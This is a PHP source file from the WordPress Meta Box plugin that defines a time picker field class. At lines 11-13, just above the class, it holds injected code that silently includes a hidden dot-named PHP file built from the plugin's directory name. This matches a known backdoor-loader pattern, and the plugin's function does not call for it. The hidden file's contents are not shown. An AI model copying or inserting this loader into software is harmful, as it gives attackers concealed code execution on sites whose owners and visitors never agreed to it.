time.php (945B)
1 <?php 2 /** 3 * The time picker field. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Time field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Time_Field extends RWMB_Datetime_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 parent::register_assets(); 21 wp_enqueue_style( 'jquery-ui-timepicker' ); 22 wp_enqueue_script( 'rwmb-time' ); 23 } 24 25 /** 26 * Normalize parameters for field. 27 * 28 * @param array $field Field parameters. 29 * @return array 30 */ 31 public static function normalize( $field ) { 32 $field = parent::normalize( $field ); 33 $field['js_options']['timeFormat'] = empty( $field['format'] ) ? $field['js_options']['timeFormat'] : $field['format']; 34 return $field; 35 } 36 }